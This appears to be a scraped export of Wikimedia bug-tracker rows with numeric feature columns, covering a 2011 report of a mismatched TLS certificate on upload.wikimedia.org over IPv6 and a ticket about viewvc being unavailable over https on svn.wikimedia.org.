                e4:21:7d:89:d8:0c:d4:e2:8f:79:86:a4:4b:09:01:79
                05:64:5c:e3:ab:2c:85:1e:b1:be:fb:93:c1:ec:42:89
Other Information:
        MD5 fingerprint:
                272480c41a073648db7fedd9066e96be
        SHA-1 fingerprint:
                70616f43e39edd64c5aedaa3f79372e654d0e30c
        Public Key Id:
                16f250574f6b2250a9caa67c53a7b59b9eefbc5c


-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgIDAnpfMA0GCSqGSIb3DQEBBQUAMDwxCzAJBgNVBAYTAlVT
MRcwFQYDVQQKEw5HZW9UcnVzdCwgSW5jLjEUMBIGA1UEAxMLUmFwaWRTU0wgQ0Ew
HhcNMTEwNzE4MDcxOTM4WhcNMTYwNzE5MTYxNDIwWjCB+TEpMCcGA1UEBRMgRE44
NERCbFpLc29Mamk3UGxMSEU0UHlqNkFSUVhKLUwxCzAJBgNVBAYTAlVTMSIwIAYD
VQQKDBkqLndpa2ltZWRpYWZvdW5kYXRpb24ub3JnMRMwEQYDVQQLEwpHVDU1NjE0
NzIyMTEwLwYDVQQLEyhTZWUgd3d3LnJhcGlkc3NsLmNvbS9yZXNvdXJjZXMvY3Bz
IChjKTExMS8wLQYDVQQLEyZEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQgLSBSYXBp
ZFNTTChSKTEiMCAGA1UEAwwZKi53aWtpbWVkaWFmb3VuZGF0aW9uLm9yZzCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMN5p+DMX3vMEFvS64gNVe5m2mN8
DXMZ6ASFldF/sa76kmDIjHmZclvGQnKAubWaEWpDD9Hzx4eEeV1WVrWX+S45WmEY
i0+DVpQ4MESpQ3kf7T827zNhIcr645A+yVIYbsU9JBlSp5DtdXq0b0DlWFd1dVSi
ugdcJldmfNRG84L+ySm+hr48otfkblo6/nffdoWXeQgAa2b9vv0d5fU2FnySoxIX
sPVymnpr5NgxQnA+hLSMrmnCKTSxicdghfQuM4oaSlAm3U17NHGFAh5vHY/x27Lg
bAWlsJjBdDktBJ3LUYA22ei7P3YnAcll9NXdBP4e9w7CxFmEyLEEccj2qrsCAwEA
AaOCAVAwggFMMB8GA1UdIwQYMBaAFGtpPWoYQkrdjwJlOf01JIZ4kRYwMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwPQYDVR0R
BDYwNIIZKi53aWtpbWVkaWFmb3VuZGF0aW9uLm9yZ4IXd2lraW1lZGlhZm91bmRh
dGlvbi5vcmcwQwYDVR0fBDwwOjA4oDagNIYyaHR0cDovL3JhcGlkc3NsLWNybC5n
ZW90cnVzdC5jb20vY3Jscy9yYXBpZHNzbC5jcmwwHQYDVR0OBBYEFBbyUFdPayJQ
qcqmfFOntZue77xcMAwGA1UdEwEB/wQCMAAwSQYIKwYBBQUHAQEEPTA7MDkGCCsG
AQUFBzAChi1odHRwOi8vcmFwaWRzc2wtYWlhLmdlb3RydXN0LmNvbS9yYXBpZHNz
bC5jcnQwDQYJKoZIhvcNAQEFBQADggEBAISYXGSa8QkFMVw/iVZBpEwCPYyH29Ix
kSEbSving10sjZBj/wK1fleeQiJjI8s2bdilRqKXaJfuuc4ptIm9E4IBw9LrgQcW
WjgYl/4FIuCte7HIKoxH6GDMY65hLV9FqOG269KNA6GEDnQcr3X4qxAJhTHAWBaC
/crrTnx5TMvspzlwls71+1YUW8Yg94tjs/eQhC/du5lUhs/mOLTh+aKFYQUPb1Fz
BHZgprXJTRjuJxdqp8vZxD2jjX50Wh0lQa2e6kED0cMPoWLtdgTNHmLmDHfHNORI
boWD4aDEYqtd5CF9idgM1OKPeYakSwkBeQVkXOOrLIUesb77k8HsQok=
-----END CERTIFICATE-----

$ host upload.wikimedia.org
upload.wikimedia.org is an alias for upload.esams.wikimedia.org.
upload.esams.wikimedia.org has address 91.198.174.234
upload.esams.wikimedia.org has IPv6 address 2620:0:862:1::80:2


When using the IPv4 address a valid certificate is provided.

This is especially annoying because I get certificate warnings every time I vistit a wikipedia page via https.

Please let me know If you need any additional information.

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1318956120,1337009170.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-nqrcuemrhcsndbfnb7tv,task_description,resolved,True,c2,1,False,False,True,-98,True,0.2222222222222222,0.0,0.0,0.3333333333333333,1.0,2.2222222222222223,0.2222222222222222,0.1111111111111111,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.8888888888888888,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.0,0.0,1.3333333333333333,0.4444444444444444,0.0,0.0,0.1111111111111111,0.0,0.1111111111111111,0.1111111111111111,0.0,0.0,0.0,0.0,0.8888888888888888,0.0,0.0,0.0,0.0,0.0,14.333333333333334,0.1111111111111111,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.1111111111111111,0.0,0.0,0.1111111111111111,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.7777777777777778,15.0,0.4444444444444444,0.1111111111111111,1.1111111111111112,0.0,0.0,0.0,0.0,1.1111111111111112,0.1111111111111111,3.7777777777777777,0.0,0.5555555555555556,1.0,23.555555555555557,0.0,0.4444444444444444,0.0,0.5555555555555556,0.1111111111111111,0.3333333333333333,0.4444444444444444,0.1111111111111111,0.1111111111111111,0.0,0.0,1.7777777777777777,7.594118967452301,0.5752974186307519,"**Author:** CODE

**Description:**
When connectiong via IPv6 to upload.wikimedia.org a wrong certificate is shown.

The certificate is issued for ""*.wikimediafoundation.org"" and ""wikimediafoundation.org"" which does not match upload.wikimedia.org. See below.

 - Certificate[0] info:
  - X.509 Certificate Information:
        Version: 3
        Serial Number (hex): 027a5f
        Issuer: C=US,O=GeoTrust\, Inc.,CN=RapidSSL CA
        Validity:
                Not Before: Mon Jul 18 07:19:38 UTC 2011
                Not After: Tue Jul 19 16:14:20 UTC 2016
        Subject: serialNumber=DN84DBlZKsoLji7PlLHE4Pyj6ARQXJ-L,C=US,O=*.wikimediafoundation.org,OU=GT55614722,OU=See www.rapidssl.com/resources/cps (c)11,OU=Domain Control Validated - RapidSSL(R),CN=*.wikimediafoundation.org
        Subject Public Key Algorithm: RSA
        Certificate Security Level: Low
                Modulus (bits 2048):
                        00:c3:79:a7:e0:cc:5f:7b:cc:10:5b:d2:eb:88:0d:55
                        ee:66:da:63:7c:0d:73:19:e8:04:85:95:d1:7f:b1:ae
                        fa:92:60:c8:8c:79:99:72:5b:c6:42:72:80:b9:b5:9a
                        11:6a:43:0f:d1:f3:c7:87:84:79:5d:56:56:b5:97:f9
                        2e:39:5a:61:18:8b:4f:83:56:94:38:30:44:a9:43:79
                        1f:ed:3f:36:ef:33:61:21:ca:fa:e3:90:3e:c9:52:18
                        6e:c5:3d:24:19:52:a7:90:ed:75:7a:b4:6f:40:e5:58
                        57:75:75:54:a2:ba:07:5c:26:57:66:7c:d4:46:f3:82
                        fe:c9:29:be:86:be:3c:a2:d7:e4:6e:5a:3a:fe:77:df
                        76:85:97:79:08:00:6b:66:fd:be:fd:1d:e5:f5:36:16
                        7c:92:a3:12:17:b0:f5:72:9a:7a:6b:e4:d8:31:42:70
                        3e:84:b4:8c:ae:69:c2:29:34:b1:89:c7:60:85:f4:2e
                        33:8a:1a:4a:50:26:dd:4d:7b:34:71:85:02:1e:6f:1d
                        8f:f1:db:b2:e0:6c:05:a5:b0:98:c1:74:39:2d:04:9d
                        cb:51:80:36:d9:e8:bb:3f:76:27:01:c9:65:f4:d5:dd
                        04:fe:1e:f7:0e:c2:c4:59:84:c8:b1:04:71:c8:f6:aa
                        bb
                Exponent (bits 24):
                        01:00:01
        Extensions:
                Authority Key Identifier (not critical):
                        6b693d6a18424add8f026539fd35248678911630
                Key Usage (critical):
                        Digital signature.
                        Key encipherment.
                Key Purpose (not critical):
                        TLS WWW Server.
                        TLS WWW Client.
                Subject Alternative Name (not critical):
                        DNSname: *.wikimediafoundation.org
                        DNSname: wikimediafoundation.org
                CRL Distribution points (not critical):
                        URI: URL
                Subject Key Identifier (not critical):
                        16f250574f6b2250a9caa67c53a7b59b9eefbc5c
                Basic Constraints (critical):
                        Certificate Authority (CA): FALSE
                Unknown extension 1.3.6.1.5.5.7.1.1 (not critical):
                        ASCII: 0;09..+.....0..-URL
                        Hexdump: 303b303906082b06010505073002862d687474703a2f2f726170696473736c2d6169612e67656f74727573742e636f6d2f726170696473736c2e637274
        Signature Algorithm: RSA-SHA1
        Signature:
                84:98:5c:64:9a:f1:09:05:31:5c:3f:89:56:41:a4:4c
                02:3d:8c:87:db:d2:31:91:21:1b:4a:f8:a7:83:5d:2c
                8d:90:63:ff:02:b5:7e:57:9e:42:22:63:23:cb:36:6d
                d8:a5:46:a2:97:68:97:ee:b9:ce:29:b4:89:bd:13:82
                01:c3:d2:eb:81:07:16:5a:38:18:97:fe:05:22:e0:ad
                7b:b1:c8:2a:8c:47:e8:60:cc:63:ae:61:2d:5f:45:a8
                e1:b6:eb:d2:8d:03:a1:84:0e:74:1c:af:75:f8:ab:10
                09:85:31:c0:58:16:82:fd:ca:eb:4e:7c:79:4c:cb:ec
                a7:39:70:96:ce:f5:fb:56:14:5b:c6:20:f7:8b:63:b3
                f7:90:84:2f:dd:bb:99:54:86:cf:e6:38:b4:e1:f9:a2
                85:61:05:0f:6f:51:73:04:76:60:a6:b5:c9:4d:18:ee
                27:17:6a:a7:cb:d9:c4:3d:a3:8d:7e:74:5a:1d:25:41
                ad:9e:ea:41:03:d1:c3:0f:a1:62:ed:76:04:cd:1e:62
                e6:0c:77:c7:34:e4:48:6e:85:83:e1:a0:c4:62:ab:5d
                e4:21:7d:89:d8:0c:d4:e2:8f:79:86:a4:4b:09:01:79
                05:64:5c:e3:ab:2c:85:1e:b1:be:fb:93:c1:ec:42:89
Other Information:
        MD5 fingerprint:
                272480c41a073648db7fedd9066e96be
        SHA-1 fingerprint:
                70616f43e39edd64c5aedaa3f79372e654d0e30c
        Public Key Id:
                16f250574f6b2250a9caa67c53a7b59b9eefbc5c


-----BEGIN CERTIFICATE-----
MIIFBTCCA+2gAwIBAgIDAnpfMA0GCSqGSIb3DQEBBQUAMDwxCzAJBgNVBAYTAlVT
MRcwFQYDVQQKEw5HZW9UcnVzdCwgSW5jLjEUMBIGA1UEAxMLUmFwaWRTU0wgQ0Ew
HhcNMTEwNzE4MDcxOTM4WhcNMTYwNzE5MTYxNDIwWjCB+TEpMCcGA1UEBRMgRE44
NERCbFpLc29Mamk3UGxMSEU0UHlqNkFSUVhKLUwxCzAJBgNVBAYTAlVTMSIwIAYD
VQQKDBkqLndpa2ltZWRpYWZvdW5kYXRpb24ub3JnMRMwEQYDVQQLEwpHVDU1NjE0
NzIyMTEwLwYDVQQLEyhTZWUgd3d3LnJhcGlkc3NsLmNvbS9yZXNvdXJjZXMvY3Bz
IChjKTExMS8wLQYDVQQLEyZEb21haW4gQ29udHJvbCBWYWxpZGF0ZWQgLSBSYXBp
ZFNTTChSKTEiMCAGA1UEAwwZKi53aWtpbWVkaWFmb3VuZGF0aW9uLm9yZzCCASIw
DQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMN5p+DMX3vMEFvS64gNVe5m2mN8
DXMZ6ASFldF/sa76kmDIjHmZclvGQnKAubWaEWpDD9Hzx4eEeV1WVrWX+S45WmEY
i0+DVpQ4MESpQ3kf7T827zNhIcr645A+yVIYbsU9JBlSp5DtdXq0b0DlWFd1dVSi
ugdcJldmfNRG84L+ySm+hr48otfkblo6/nffdoWXeQgAa2b9vv0d5fU2FnySoxIX
sPVymnpr5NgxQnA+hLSMrmnCKTSxicdghfQuM4oaSlAm3U17NHGFAh5vHY/x27Lg
bAWlsJjBdDktBJ3LUYA22ei7P3YnAcll9NXdBP4e9w7CxFmEyLEEccj2qrsCAwEA
AaOCAVAwggFMMB8GA1UdIwQYMBaAFGtpPWoYQkrdjwJlOf01JIZ4kRYwMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwPQYDVR0R
BDYwNIIZKi53aWtpbWVkaWFmb3VuZGF0aW9uLm9yZ4IXd2lraW1lZGlhZm91bmRh
dGlvbi5vcmcwQwYDVR0fBDwwOjA4oDagNIYyaHR0cDovL3JhcGlkc3NsLWNybC5n
ZW90cnVzdC5jb20vY3Jscy9yYXBpZHNzbC5jcmwwHQYDVR0OBBYEFBbyUFdPayJQ
qcqmfFOntZue77xcMAwGA1UdEwEB/wQCMAAwSQYIKwYBBQUHAQEEPTA7MDkGCCsG
AQUFBzAChi1odHRwOi8vcmFwaWRzc2wtYWlhLmdlb3RydXN0LmNvbS9yYXBpZHNz
bC5jcnQwDQYJKoZIhvcNAQEFBQADggEBAISYXGSa8QkFMVw/iVZBpEwCPYyH29Ix
kSEbSving10sjZBj/wK1fleeQiJjI8s2bdilRqKXaJfuuc4ptIm9E4IBw9LrgQcW
WjgYl/4FIuCte7HIKoxH6GDMY65hLV9FqOG269KNA6GEDnQcr3X4qxAJhTHAWBaC
/crrTnx5TMvspzlwls71+1YUW8Yg94tjs/eQhC/du5lUhs/mOLTh+aKFYQUPb1Fz
BHZgprXJTRjuJxdqp8vZxD2jjX50Wh0lQa2e6kED0cMPoWLtdgTNHmLmDHfHNORI
boWD4aDEYqtd5CF9idgM1OKPeYakSwkBeQVkXOOrLIUesb77k8HsQok=
-----END CERTIFICATE-----

$ host upload.wikimedia.org
upload.wikimedia.org is an alias for upload.esams.wikimedia.org.
upload.esams.wikimedia.org has address 91.198.174.234
upload.esams.wikimedia.org has IPv6 address 2620:0:862:1::80:2


When using the IPv4 address a valid certificate is provided.

This is especially annoying because I get certificate warnings every time I vistit a wikipedia page via https.

Please let me know If you need any additional information.

--------------------------
**Version**: unspecified
**Severity**: normal"
150952,upload.wikimedia.org provides wrong certificate via IPv6,"Seems resolved now, maybe in the overall SSL deployment?

$ curl -v https://upload.wikimedia.org/
* About to connect() to upload.wikimedia.org port 443 (#0)
*   Trying 2620:0:862:1::80:2...
* connected
* Connected to upload.wikimedia.org (2620:0:862:1::80:2) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using RC4-SHA
* Server certificate:
* 	 subject: serialNumber=3Te2KNVS3beWLBffkE0QtVQ4qxo3Ix10; C=US; O=*.wikimedia.org; OU=GT11518520; OU=See www.rapidssl.com/resources/cps (c)10; OU=Domain Control Validated - RapidSSL(R); CN=*.wikimedia.org
* 	 start date: 2010-08-03 15:43:56 GMT
* 	 expire date: 2015-08-22 22:23:10 GMT
* 	 subjectAltName: upload.wikimedia.org matched
* 	 issuer: C=US; O=Equifax; OU=Equifax Secure Certificate Authority
* 	 SSL certificate verify ok.",,,1337009170,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-nqrcuemrhcsndbfnb7tv,task_subcomment,,True,c2,1,False,,,-68,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.0,1.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,15.333333333333334,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,21.666666666666668,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,1.3333333333333333,0.3333333333333333,7.333333333333333,0.0,0.0,1.3333333333333333,21.0,0.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.0,0.6666666666666666,3.7010309278350513,0.4673539518900343,"Seems resolved now, maybe in the overall SSL deployment?

$ curl -v URL
* About to connect() to upload.wikimedia.org port 443 (#0)
*   Trying 2620:0:862:1::80:2...
* connected
* Connected to upload.wikimedia.org (2620:0:862:1::80:2) port 443 (#0)
* successfully set certificate verify locations:
*   CAfile: none
  CApath: /etc/ssl/certs
* SSLv3, TLS handshake, Client hello (1):
* SSLv3, TLS handshake, Server hello (2):
* SSLv3, TLS handshake, CERT (11):
* SSLv3, TLS handshake, Server finished (14):
* SSLv3, TLS handshake, Client key exchange (16):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSLv3, TLS change cipher, Client hello (1):
* SSLv3, TLS handshake, Finished (20):
* SSL connection using RC4-SHA
* Server certificate:
* 	 subject: serialNumber=3Te2KNVS3beWLBffkE0QtVQ4qxo3Ix10; C=US; O=*.wikimedia.org; OU=GT11518520; OU=See www.rapidssl.com/resources/cps (c)10; OU=Domain Control Validated - RapidSSL(R); CN=*.wikimedia.org
* 	 start date: 2010-08-03 15:43:56 GMT
* 	 expire date: 2015-08-22 22:23:10 GMT
* 	 subjectAltName: upload.wikimedia.org matched
* 	 issuer: C=US; O=Equifax; OU=Equifax Secure Certificate Authority
* 	 SSL certificate verify ok."
150947,upload.wikimedia.org provides wrong certificate via IPv6,Filed in ops' internal RT tracker: http://rt.wikimedia.org/Ticket/Display.html?id=1763,,,1319049349,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-nqrcuemrhcsndbfnb7tv,task_subcomment,,True,c2,1,True,,,-97,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,Filed in ops' internal RT tracker: URL
33776,https svn.wikimedia.org missing viewvc capability,"Looks like svn.wikimedia.org was restructured. At the moment, it points to the ""formey"" server which also host gerrit.

The viewvc tool is no more reachable : https://svn.wikimedia.org/viewvc/mediawiki/trunk/
We have it linked from www.mediawiki.org main page. Did someone forgot to reinstall viewvc? :-)

--------------------------
**Version**: unspecified
**Severity**: normal",Medium,50.0,1318858560,1328609771.0,PHID-USER-orzyp3dswemhdgdznro5,False,,False,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_description,resolved,True,c2,1,True,False,True,-98,True,0.0,1.0,0.0,1.0,0.0,7.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,7.0,1.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,3.0,12.0,0.0,0.0,7.0,0.0,1.0,0.0,0.0,3.0,0.0,0.0,0.0,6.0,7.0,4.0,1.0,3.0,0.0,6.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,4.217391304347826,0.7246376811594203,"Looks like svn.wikimedia.org was restructured. At the moment, it points to the ""formey"" server which also host gerrit.

The viewvc tool is no more reachable : URL
We have it linked from www.mediawiki.org main page. Did someone forgot to reinstall viewvc? :-)

--------------------------
**Version**: unspecified
**Severity**: normal"
149306,https svn.wikimedia.org missing viewvc capability,"the linked RT ticket has been resolved in November and this also works meanwhile:

https://svn.wikimedia.org/viewvc/mediawiki/trunk/

setting to resolved",,,1328609771,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-82,True,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.380952380952381,0.9047619047619048,"the linked RT ticket has been resolved in November and this also works meanwhile:

URL

setting to resolved"
149298,https svn.wikimedia.org missing viewvc capability,Filed in RT tracker: https://rt.wikimedia.org/Ticket/Display.html?id=1896,,,1320431357,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-95,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3333333333333335,1.0,Filed in RT tracker: URL
149290,https svn.wikimedia.org missing viewvc capability,"(In reply to comment #5)
> Yes. We should have https for this. We should have it for everything.

Actually yeah, I agree now. I'm getting mixed content warnings on CodeReview since the various links are pointing to http://. Once we've got SSL on formey, I can update that config.",,,1318879022,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,21.0,4.0,0.0,4.0,0.0,0.0,0.0,2.0,4.0,2.0,2.0,0.0,8.0,15.0,6.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,3.625,0.875,"(In reply to comment #5)
QUOTE

Actually yeah, I agree now. I'm getting mixed content warnings on CodeReview since the various links are pointing to URL Once we've got SSL on formey, I can update that config."
149283,https svn.wikimedia.org missing viewvc capability,Yes. We should have https for this. We should have it for everything.,,,1318865270,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,False,,,-98,True,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,6.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,19.0,12.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5625,0.625,Yes. We should have https for this. We should have it for everything.
149277,https svn.wikimedia.org missing viewvc capability,"Not really, but probably does not cost a lot to have Apache configured to support it.
The workaround, for me, would be to add an exception to HTTPS everywhere.",,,1318860727,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,14.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,9.0,3.0,11.0,0.0,3.0,9.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,6.0,14.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,3.7714285714285714,0.8285714285714286,"Not really, but probably does not cost a lot to have Apache configured to support it.
The workaround, for me, would be to add an exception to HTTPS everywhere."
149270,https svn.wikimedia.org missing viewvc capability,"(In reply to comment #2)
> I got HTTPs everywhere which redirect me automatically. Looks like we should
> add support for HTTPs.

We need https support for viewvc?",,,1318860598,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,15.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,15.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.9,"(In reply to comment #2)
QUOTE
QUOTE

We need https support for viewvc?"
149262,https svn.wikimedia.org missing viewvc capability,I got HTTPs everywhere which redirect me automatically. Looks like we should add support for HTTPs.,,,1318860416,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-qppstv3p4aqhnw5ac2dv,task_subcomment,,True,c2,1,True,,,-98,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,11.0,11.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,17.0,11.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,4.666666666666667,0.8888888888888888,I got HTTPs everywhere which redirect me automatically. Looks like we should add support for HTTPs.
